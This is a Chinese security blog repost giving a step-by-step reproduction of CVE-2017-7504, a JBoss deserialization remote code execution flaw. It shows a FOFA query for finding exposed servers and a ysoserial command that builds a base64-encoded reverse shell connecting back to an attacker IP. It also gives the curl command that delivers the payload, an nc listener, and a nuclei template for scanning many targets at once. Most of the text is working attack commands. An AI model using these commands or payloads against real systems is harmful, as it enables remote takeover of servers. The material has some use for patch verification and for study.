本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-CVE-2017-7504 JBoss反序列化远程代码执行
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。Red Hat JbossAS4.X 及之前的版本中的JbossMQ实现过程的JMSoverHTTPInvocationLayer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
0x03 漏洞复现
漏洞影响:JBoss AS 4.x及之前版本
FOFA:app=”jboss”
1.访问存在漏洞页面,存在如图页面
http://x.x.x.x:8080/jbossmq-httpil/HTTPServerILServlet
2.使用ysoserial工具生成反弹shell的payload文件1.ser并执行(注:需要改为base64编码解码的反弹shell脚本)
编码地址:
https://ir0ny.top/pentest/reverse-encoder-shell.html
反弹shell脚本:
java -jar ysoserial-master.jar CommonsCollections5 \"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}\" > 1.ser
执行1.ser:
curl http://x.x.x.x:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
3. nc监听得到一个shell
nc -lnvp 7777
4.使用nuclei批量验证1.txt文件中的url是否存在该漏洞,显示存在漏洞。(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei -list 1.txt -t CVE-2017-7504.yaml
yaml POC:
id: CVE-2017-7504
info:
name: JBoss 4.x JBossMQ JMS 反序列化漏洞
author: sm
severity: critical
requests:
- method: GET
path:
- \"{{BaseURL}}/jbossmq-httpil/HTTPServerILServlet\"
matchers:
- type: word
words:
- \"This is the JBossMQ HTTP-IL\"
THE END
暂无评论内容